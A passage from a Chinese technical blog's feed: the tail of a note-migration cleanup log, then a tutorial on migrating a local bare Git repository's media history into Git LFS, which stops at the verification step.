&lt;tr&gt;&lt;td&gt;高效切换Linux桌面GUI的方法与实践指南.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;%E9%AB%98%E6%95%88%E5%88%87%E6%8D%A2linux%E6%A1%8C%E9%9D%A2gui%E7%9A%84%E6%96%B9%E6%B3%95%E4%B8%8E%E5%AE%9E%E8%B7%B5%E6%8C%87%E5%8D%97&#x2F;&quot;&gt;obsidian&#x2F;高效切换linux桌面gui的方法与实践指南&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;高版本gcc编译出的程序在低版本glibc机器上运行.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;%E9%AB%98%E7%89%88%E6%9C%ACgcc%E7%BC%96%E8%AF%91%E5%87%BA%E7%9A%84%E7%A8%8B%E5%BA%8F%E5%9C%A8%E4%BD%8E%E7%89%88%E6%9C%ACglibc%E6%9C%BA%E5%99%A8%E4%B8%8A%E8%BF%90%E8%A1%8C&#x2F;&quot;&gt;obsidian&#x2F;高版本gcc编译出的程序在低版本glibc机器上运行&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;An unsafe tour of Rusts Send and Sync.md&lt;&#x2F;td&gt;&lt;td&gt;（去重丢弃&#x2F;跳过）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;C++20中的CPO（定制点对象）与niebloid——ranges受约束算法的调用 - zcllls blog.md&lt;&#x2F;td&gt;&lt;td&gt;（去重丢弃&#x2F;跳过）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;C++20中的CPO（定制点对象）与niebloid——ranges受约束算法的调用 - zcllls blog&#x2F;C++ 20 CPO 和 Ranges 新算法.md&lt;&#x2F;td&gt;&lt;td&gt;（去重丢弃&#x2F;跳过）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;C++20中的CPO（定制点对象）与niebloid——ranges受约束算法的调用 - zcllls blog&#x2F;C++的定制点设计.md&lt;&#x2F;td&gt;&lt;td&gt;（去重丢弃&#x2F;跳过）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;C++20中的CPO（定制点对象）与niebloid——ranges受约束算法的调用 - zcllls blog&#x2F;Niebloids and Customization Point Objects.md&lt;&#x2F;td&gt;&lt;td&gt;（去重丢弃&#x2F;跳过）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;CD-DVD - Debian Wiki.md&lt;&#x2F;td&gt;&lt;td&gt;（去重丢弃&#x2F;跳过）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;CD-DVD - Debian Wiki&#x2F;BurnCd - Debian Wiki.md&lt;&#x2F;td&gt;&lt;td&gt;（去重丢弃&#x2F;跳过）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;CD-DVD - Debian Wiki&#x2F;How to Burn a CD or DVD ISO in the Linux Terminal  Baeldung on Linux.md&lt;&#x2F;td&gt;&lt;td&gt;（去重丢弃&#x2F;跳过）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;CD-DVD - Debian Wiki&#x2F;How to Burn a CD or DVD ISO in the Linux Terminal _ Baeldung on Linux.md&lt;&#x2F;td&gt;&lt;td&gt;（去重丢弃&#x2F;跳过）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;CD-DVD - Debian Wiki&#x2F;Linux Find Out Name Of DVD  CD-ROM  Blu-ray Writer Device.md&lt;&#x2F;td&gt;&lt;td&gt;（去重丢弃&#x2F;跳过）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;CD-DVD - Debian Wiki&#x2F;光盘文件格式-udf、iso9660、Joliet、Romeo_怎么看光盘是不是iso9660-CSDN博客.md&lt;&#x2F;td&gt;&lt;td&gt;（去重丢弃&#x2F;跳过）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Docker格式化输出命令docker inspect --format 学习笔记.md&lt;&#x2F;td&gt;&lt;td&gt;（去重丢弃&#x2F;跳过）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;FFmpeg 视频处理等相关&#x2F;【FFmpeg】FFmpeg 相关术语简介 ( 容器  媒体流  数据帧  数据包  编解码器  复用.md&lt;&#x2F;td&gt;&lt;td&gt;（去重丢弃&#x2F;跳过）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;JWT 续签问题.md&lt;&#x2F;td&gt;&lt;td&gt;（去重丢弃&#x2F;跳过）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Nginx如何设置用户登录验证.md&lt;&#x2F;td&gt;&lt;td&gt;（去重丢弃&#x2F;跳过）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Qemu win11 虚拟化之Machine Type&#x2F;q35 vs i440fx.md&lt;&#x2F;td&gt;&lt;td&gt;（去重丢弃&#x2F;跳过）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Rust生命周期集大成者 PhantomDataT.md&lt;&#x2F;td&gt;&lt;td&gt;（去重丢弃&#x2F;跳过）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;cf-worker.md&lt;&#x2F;td&gt;&lt;td&gt;（去重丢弃&#x2F;跳过）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;cf-worker&#x2F;CF-Workers-docker.io：Docker仓库镜像代理工具。.md&lt;&#x2F;td&gt;&lt;td&gt;（去重丢弃&#x2F;跳过）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;ffmpeg转码常用容器、编码格式与解编码器的搭配总结，-c与-f参数的运用.md&lt;&#x2F;td&gt;&lt;td&gt;（去重丢弃&#x2F;跳过）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;issue24 实现一个简单的CRT&#x2F;Issue16 共享库及符号的版本控制实践 动态链接库符号版本控制.md&lt;&#x2F;td&gt;&lt;td&gt;（去重丢弃&#x2F;跳过）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;linux 副屏方案.md&lt;&#x2F;td&gt;&lt;td&gt;（去重丢弃&#x2F;跳过）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;linux 副屏方案&#x2F;gnome virtual monitor How to Share Virtual Extended Screen in Ubuntu 22.04  24.04.md&lt;&#x2F;td&gt;&lt;td&gt;（去重丢弃&#x2F;跳过）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;linux 副屏方案&#x2F;gnome virtual monitor How to Share Virtual Extended Screen in Ubuntu 22.04  24.04&#x2F;TMP BUGFIX Mouse cursor not visible in extend mode over RDP.md&lt;&#x2F;td&gt;&lt;td&gt;（去重丢弃&#x2F;跳过）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;linux 副屏方案&#x2F;技术如何使用移动设备作为 Linux 副屏.md&lt;&#x2F;td&gt;&lt;td&gt;（去重丢弃&#x2F;跳过）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;nginx中proxy_set_header Host $host的作用及$proxy_host，$host与$http_host的区别.md&lt;&#x2F;td&gt;&lt;td&gt;（去重丢弃&#x2F;跳过）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;rust future async await generator yeild.md&lt;&#x2F;td&gt;&lt;td&gt;（去重丢弃&#x2F;跳过）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;ssh FQA&#x2F;ERROR Secsh channel open FAILED Connect failed.md&lt;&#x2F;td&gt;&lt;td&gt;（去重丢弃&#x2F;跳过）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;stdpackaged_task 源码级详解.md&lt;&#x2F;td&gt;&lt;td&gt;（去重丢弃&#x2F;跳过）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;tput 命令行使用说明&#x2F;grep color.md&lt;&#x2F;td&gt;&lt;td&gt;（去重丢弃&#x2F;跳过）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;vpn&#x2F;amazon 服务器申请.md&lt;&#x2F;td&gt;&lt;td&gt;（去重丢弃&#x2F;跳过）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;vpn&#x2F;搭建属于自己的cloudflare反代IP  tanglus blog.md&lt;&#x2F;td&gt;&lt;td&gt;（去重丢弃&#x2F;跳过）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;【C++ 20 并发工具 stdbarrier】掌握并发编程：深入理解C++的stdbarrier.md&lt;&#x2F;td&gt;&lt;td&gt;（去重丢弃&#x2F;跳过）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;延时 ACK 与 Nagle 算法结合&#x2F;TCP_NODELAY &amp;amp; Nagles Algorithm.md&lt;&#x2F;td&gt;&lt;td&gt;（去重丢弃&#x2F;跳过）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;搭建属于自己的cloudflare反代IP  tanglus blog.md&lt;&#x2F;td&gt;&lt;td&gt;（去重丢弃&#x2F;跳过）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;深度HIS系统操作功能说明书.md&lt;&#x2F;td&gt;&lt;td&gt;（去重丢弃&#x2F;跳过）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;笔记本电源管理.md&lt;&#x2F;td&gt;&lt;td&gt;（去重丢弃&#x2F;跳过）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;笔记本电源管理&#x2F;桌面应用TLP：一个可以延长 Linux 笔记本电池寿命的高级电源管理工具.md&lt;&#x2F;td&gt;&lt;td&gt;（去重丢弃&#x2F;跳过）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;&#x2F;details&gt;
&lt;h2 id=&quot;qian-yi-hou-zhi-liang-you-hua-2026-10-08&quot;&gt;迁移后质量优化（2026-10-08）&lt;&#x2F;h2&gt;
&lt;p&gt;迁移完成后，对全部 296 页做了两轮内容质量治理（6 个并行审查 + 实证核对）：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;项目&lt;&#x2F;th&gt;&lt;th&gt;数量&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;修改页面&lt;&#x2F;td&gt;&lt;td&gt;162&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;清理的抓取残留&lt;&#x2F;td&gt;&lt;td&gt;AI 摘要 bullet 块、打赏&#x2F;订阅&#x2F;版权声明&#x2F;分享行、相关文章链接农场、站内导航&#x2F;页脚组件、GitHub Issue 页面残留等&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;修复&lt;&#x2F;td&gt;&lt;td&gt;HTML 实体双重编码（仅代码块外）、未闭合代码 fence、空标题、重复段落与重复图片&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;删除页面&lt;&#x2F;td&gt;&lt;td&gt;1（&lt;code&gt;blogsrclangrust14-使用GDB调试Rust应用.md.md&lt;&#x2F;code&gt;：标题错位且正文与组合器译文逐字重复）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;实证核对&lt;&#x2F;td&gt;&lt;td&gt;gdb 源码分析长文（41KB→15KB）逐块比对：代码块 84 行 → 84 行，技术内容零丢失，删除部分均为 CSDN 推广&#x2F;SEO 残留&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;处理原则：frontmatter、图片引用、代码块内容、原文出处链接（保留一行）一律不动。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;note-mu-lu-tu-pian-qian-yi-2026-10-08-di-er-pi&quot;&gt;note&#x2F; 目录图片迁移（2026-10-08 第二批）&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;code&gt;note&#x2F;&lt;&#x2F;code&gt; 目录无正文 md，仅有 6 张孤例图片（已逐张识图确认内容）+ 1 个本地重建脚本（&lt;code&gt;reconstruct.py&lt;&#x2F;code&gt;，未迁移）。处理结果：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;图片&lt;&#x2F;th&gt;&lt;th&gt;识别内容&lt;&#x2F;th&gt;&lt;th&gt;去向&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;07ea0a…d9oyv3q.jpg&lt;&#x2F;td&gt;&lt;td&gt;Linux 网络监控命令速查表（OSI 二&#x2F;三&#x2F;四层，291KB）&lt;&#x2F;td&gt;&lt;td&gt;插入&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;%E7%AC%94%E8%AE%B0-linux-%E6%80%A7%E8%83%BD%E7%9B%91%E8%A7%86%E4%B8%8E%E8%B7%91%E5%88%86%E6%B5%8B%E8%AF%95&#x2F;&quot;&gt;笔记 | Linux 性能监视与跑分测试&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;222a4…t1siqt7.jpg&lt;&#x2F;td&gt;&lt;td&gt;知乎截图：gcc &lt;code&gt;-Wl,-Bstatic&#x2F;-Bdynamic&lt;&#x2F;code&gt; 混合链接（864KB→压缩至136KB）&lt;&#x2F;td&gt;&lt;td&gt;插入&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;telling-gcc-directly-to-link-a-library-statically&#x2F;&quot;&gt;Telling gcc directly to link a library statically&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;image-202312…plcoj9a.png&lt;&#x2F;td&gt;&lt;td&gt;C++ 六种 memory_order 内存序表格（602KB PNG→转JPG 124KB）&lt;&#x2F;td&gt;&lt;td&gt;插入&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;%E7%BA%BF%E7%A8%8B%E5%AE%89%E5%85%A8%E3%80%81%E5%8E%9F%E5%AD%90%E5%8F%98%E9%87%8F%E3%80%81%E5%86%85%E5%AD%98%E9%A1%BA%E5%BA%8F&#x2F;&quot;&gt;线程安全、原子变量、内存顺序&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;52362…1j7oj6s.jpg&lt;&#x2F;td&gt;&lt;td&gt;x86-64 寄存器用途与 Caller&#x2F;Callee Save 表&lt;&#x2F;td&gt;&lt;td&gt;插入&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;%E5%AE%9E%E7%8E%B0%E4%B8%80%E4%B8%AA%E7%AE%80%E5%8D%95%E7%9A%84-crt-issue24-%E7%B3%BB%E5%88%97%E5%90%88%E9%9B%86&#x2F;&quot;&gt;实现一个简单的 CRT 合集&lt;&#x2F;a&gt;（Issue17 节）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;1a85f…1uftefj.jpg&lt;&#x2F;td&gt;&lt;td&gt;知乎截图：Rust 三种多态与 Ad-hoc 多态（836KB→压缩至136KB）&lt;&#x2F;td&gt;&lt;td&gt;插入&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;%E6%B3%9B%E5%9E%8B%E7%89%B9%E5%8C%96-specialization&#x2F;&quot;&gt;泛型特化 Specialization&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;17044…s807zkx.png&lt;&#x2F;td&gt;&lt;td&gt;gem5 场景链接器耗时对比表（附文字转录）&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;note-misc&#x2F;&quot;&gt;笔记杂项（note 目录图文存档）&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;两张知乎手机截图（&amp;gt;800KB）已压缩（宽 1200→700、质量 q5），memory_order 表格 PNG 转 JPG，均记录于上表。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>给本地裸仓库启用 Git LFS：1.6GB 媒体历史迁移实录</title>
        <published>2026-10-01T22:31:33+08:00</published>
        <updated>2026-10-01T22:31:33+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2026/10/git-lfs-local-bare-repo-migration/"/>
        <id>https://vercel.juzhong.asia/2026/10/git-lfs-local-bare-repo-migration/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2026/10/git-lfs-local-bare-repo-migration/">&lt;h1 id=&quot;bei-jing&quot;&gt;背景&lt;&#x2F;h1&gt;
&lt;p&gt;一个生日视频剪辑项目，仓库里堆了近 200 个手机拍摄的照片&#x2F;视频，仓库结构是&quot;本地裸仓库做远端&quot;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;工作副本：&lt;code&gt;~&#x2F;project&#x2F;birthday&lt;&#x2F;code&gt;（编辑、提交）&lt;&#x2F;li&gt;
&lt;li&gt;裸仓库：&lt;code&gt;~&#x2F;project&#x2F;repos&#x2F;birthday&lt;&#x2F;code&gt;（&lt;code&gt;git init --bare&lt;&#x2F;code&gt; 的产物，作为 &lt;code&gt;origin&lt;&#x2F;code&gt; 接收 push）&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;问题：历史里的 mp4&#x2F;jpg 全是普通 git blob，裸仓库已经膨胀到 &lt;strong&gt;1.60 GiB&lt;&#x2F;strong&gt;，每次全量克隆都要拖走全部历史。目标是让这个仓库支持 Git LFS，并且&lt;strong&gt;把已有历史里的媒体也迁进 LFS&lt;&#x2F;strong&gt;。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;guan-jian-ren-zhi-lfs-dui-xiang-chuan-shu-bu-zou-git-zhi-neng-xie-yi&quot;&gt;关键认知：LFS 对象传输不走 git 智能协议&lt;&#x2F;h1&gt;
&lt;p&gt;LFS 最容易被误解的一点：大文件内容不在 git 对象库里（库里只存几十字节的指针文件），传输走的是&lt;strong&gt;独立通道&lt;&#x2F;strong&gt;。服务端要求取决于远端形式，分三档：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;远端形式&lt;&#x2F;th&gt;&lt;th&gt;服务端要求&lt;&#x2F;th&gt;&lt;th&gt;传输机制&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;本地路径 &#x2F; &lt;code&gt;file:&#x2F;&#x2F;&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;零配置&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;lfs-standalone-file&lt;&#x2F;code&gt; 传输代理，直接写 &lt;code&gt;&amp;lt;仓库&amp;gt;&#x2F;lfs&#x2F;objects&#x2F;&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;ssh:&#x2F;&#x2F;git@host&#x2F;repo&lt;&#x2F;code&gt;（裸仓库）&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;服务器装 git-lfs ≥ 3.0 即可&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;客户端经 SSH 执行 &lt;code&gt;git-lfs-transfer&lt;&#x2F;code&gt;，对象走 SSH 通道落盘服务器仓库的 &lt;code&gt;lfs&#x2F;objects&#x2F;&lt;&#x2F;code&gt;，认证就是 SSH 公钥，无需 HTTP 服务&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;GitHub &#x2F; GitLab &#x2F; Gitea 等平台&lt;&#x2F;td&gt;&lt;td&gt;平台内置&lt;&#x2F;td&gt;&lt;td&gt;HTTPS LFS API（&lt;code&gt;&amp;lt;repo&amp;gt;&#x2F;info&#x2F;lfs&lt;&#x2F;code&gt;）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;也就是说 &lt;code&gt;ssh:&#x2F;&#x2F;git@host&#x2F;repo&lt;&#x2F;code&gt; 是&lt;strong&gt;原生支持&lt;&#x2F;strong&gt;的，条件只是服务器上那个 git 用户能执行 &lt;code&gt;git-lfs&lt;&#x2F;code&gt;（3.0+，apt 装的版本一般满足）。若服务器没装，push 会报 &lt;code&gt;git-lfs-authenticate: command not found&lt;&#x2F;code&gt;。另外 standalone 模式（本地&#x2F;SSH）&lt;strong&gt;不支持 &lt;code&gt;git lfs lock&lt;&#x2F;code&gt; 文件锁&lt;&#x2F;strong&gt;，要锁就得用托管平台或自建 LFS API。&lt;&#x2F;p&gt;
&lt;p&gt;本地路径场景可以用 &lt;code&gt;git lfs env&lt;&#x2F;code&gt; 验证，能看到传输代理列表里有 &lt;code&gt;lfs-standalone-file&lt;&#x2F;code&gt;、endpoint 直接指向裸仓库且无需认证：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;console&quot; class=&quot;language-console &quot;&gt;&lt;code class=&quot;language-console&quot; data-lang=&quot;console&quot;&gt;$ git lfs env | grep -iE &amp;#x27;endpoint|UploadTransfers&amp;#x27;
Endpoint=file:&amp;#x2F;&amp;#x2F;&amp;#x2F;home&amp;#x2F;peter&amp;#x2F;project&amp;#x2F;repos&amp;#x2F;birthday (auth=none)
UploadTransfers=basic,lfs-standalone-file,ssh
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;qian-yi-quan-liu-cheng&quot;&gt;迁移全流程&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;1-chu-shi-hua-she-zhi-gen-zong-gui-ze&quot;&gt;1. 初始化 + 设置跟踪规则&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;cd ~&amp;#x2F;project&amp;#x2F;birthday
git lfs install                       # 全局装 smudge&amp;#x2F;clean 过滤器（每台机器一次）
git lfs track &amp;quot;*.mp4&amp;quot; &amp;quot;*.jpg&amp;quot; &amp;quot;*.jpeg&amp;quot; &amp;quot;*.png&amp;quot; &amp;quot;*.mov&amp;quot; &amp;quot;*.gif&amp;quot;
git add .gitattributes &amp;amp;&amp;amp; git commit -m &amp;quot;chore: 启用 git lfs&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;git lfs track&lt;&#x2F;code&gt; 本质是往 &lt;code&gt;.gitattributes&lt;&#x2F;code&gt; 写过滤器规则：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;*.mp4 filter=lfs diff=lfs merge=lfs -text
*.jpg filter=lfs diff=lfs merge=lfs -text
...
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;时机坑&lt;&#x2F;strong&gt;：如果一个大文件在 &lt;code&gt;track&lt;&#x2F;code&gt; 之前就已经 &lt;code&gt;git add&lt;&#x2F;code&gt; 进了 index，index 里存的还是全量 blob（add 时刻就完成了 clean 过滤）。必须重新 &lt;code&gt;git add&lt;&#x2F;code&gt; 一次让 LFS 过滤器生效，否则提交进去仍是完整大文件。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;2-zhong-gui-yi-hua-rang-gong-zuo-shu-bian-gan-jing&quot;&gt;2. 重归一化，让工作树变干净&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;code&gt;track&lt;&#x2F;code&gt; 之后 &lt;code&gt;git status&lt;&#x2F;code&gt; 会冒出一大堆 &lt;code&gt; M&lt;&#x2F;code&gt; 的媒体文件——不是真的被改了，而是 HEAD 里还是全量 blob、工作区文件经过滤器比对出了差异。用 renormalize 提交消除：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;git add --renormalize .
git commit -m &amp;quot;chore: 已跟踪媒体文件重归一化为 LFS 指针&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;3-zhong-xie-quan-bu-li-shi&quot;&gt;3. 重写全部历史&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;git lfs migrate import --everything --include=&amp;quot;*.mp4,*.jpg,*.jpeg,*.png,*.mov,*.gif&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;migrate: Rewriting commits: 100% (16&amp;#x2F;16), done.
migrate: Updating refs: ..., done.
migrate: checkout: ..., done.
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;16 个提交全部重写、哈希全变，历史中的媒体 blob 替换为 LFS 指针。抽查重写后最早那条素材提交，照片内容已经是指针：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;console&quot; class=&quot;language-console &quot;&gt;&lt;code class=&quot;language-console&quot; data-lang=&quot;console&quot;&gt;$ git cat-file -p b80dd68:pictures&amp;#x2F;IMG_20260923_113450.jpg
version https:&amp;#x2F;&amp;#x2F;git-lfs.github.com&amp;#x2F;spec&amp;#x2F;v1
oid sha256:a69f81f1a10188c9381d1e29d9b922ea3bc0a19befe105f9b5e1439869840392
size 5849437
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;4-force-push-liang-bian-gc&quot;&gt;4. force push + 两边 gc&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;console&quot; class=&quot;language-console &quot;&gt;&lt;code class=&quot;language-console&quot; data-lang=&quot;console&quot;&gt;$ git push --force origin master
Uploading LFS objects: 100% (187&amp;#x2F;187), 0 B | 0 B&amp;#x2F;s, done.
To &amp;#x2F;home&amp;#x2F;peter&amp;#x2F;project&amp;#x2F;repos&amp;#x2F;birthday
 + 64e2e62...1449fb0 master -&amp;gt; master (forced update)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;187 个 LFS 对象（1.9G）经 standalone 传输直接落盘裸仓库 &lt;code&gt;lfs&#x2F;objects&#x2F;&lt;&#x2F;code&gt;。随后两边回收旧 blob：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;git -C ~&amp;#x2F;project&amp;#x2F;repos&amp;#x2F;birthday gc --prune=now           # 裸仓库
git reflog expire --expire-unreachable=now --all &amp;amp;&amp;amp; git gc --prune=now   # 工作副本
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;5-yan-shou-quan-xin-ke-long-sha256-dui-bi&quot;&gt;5. 验收：全新克隆 + sha256 对比&lt;&#x2F;h2&gt;
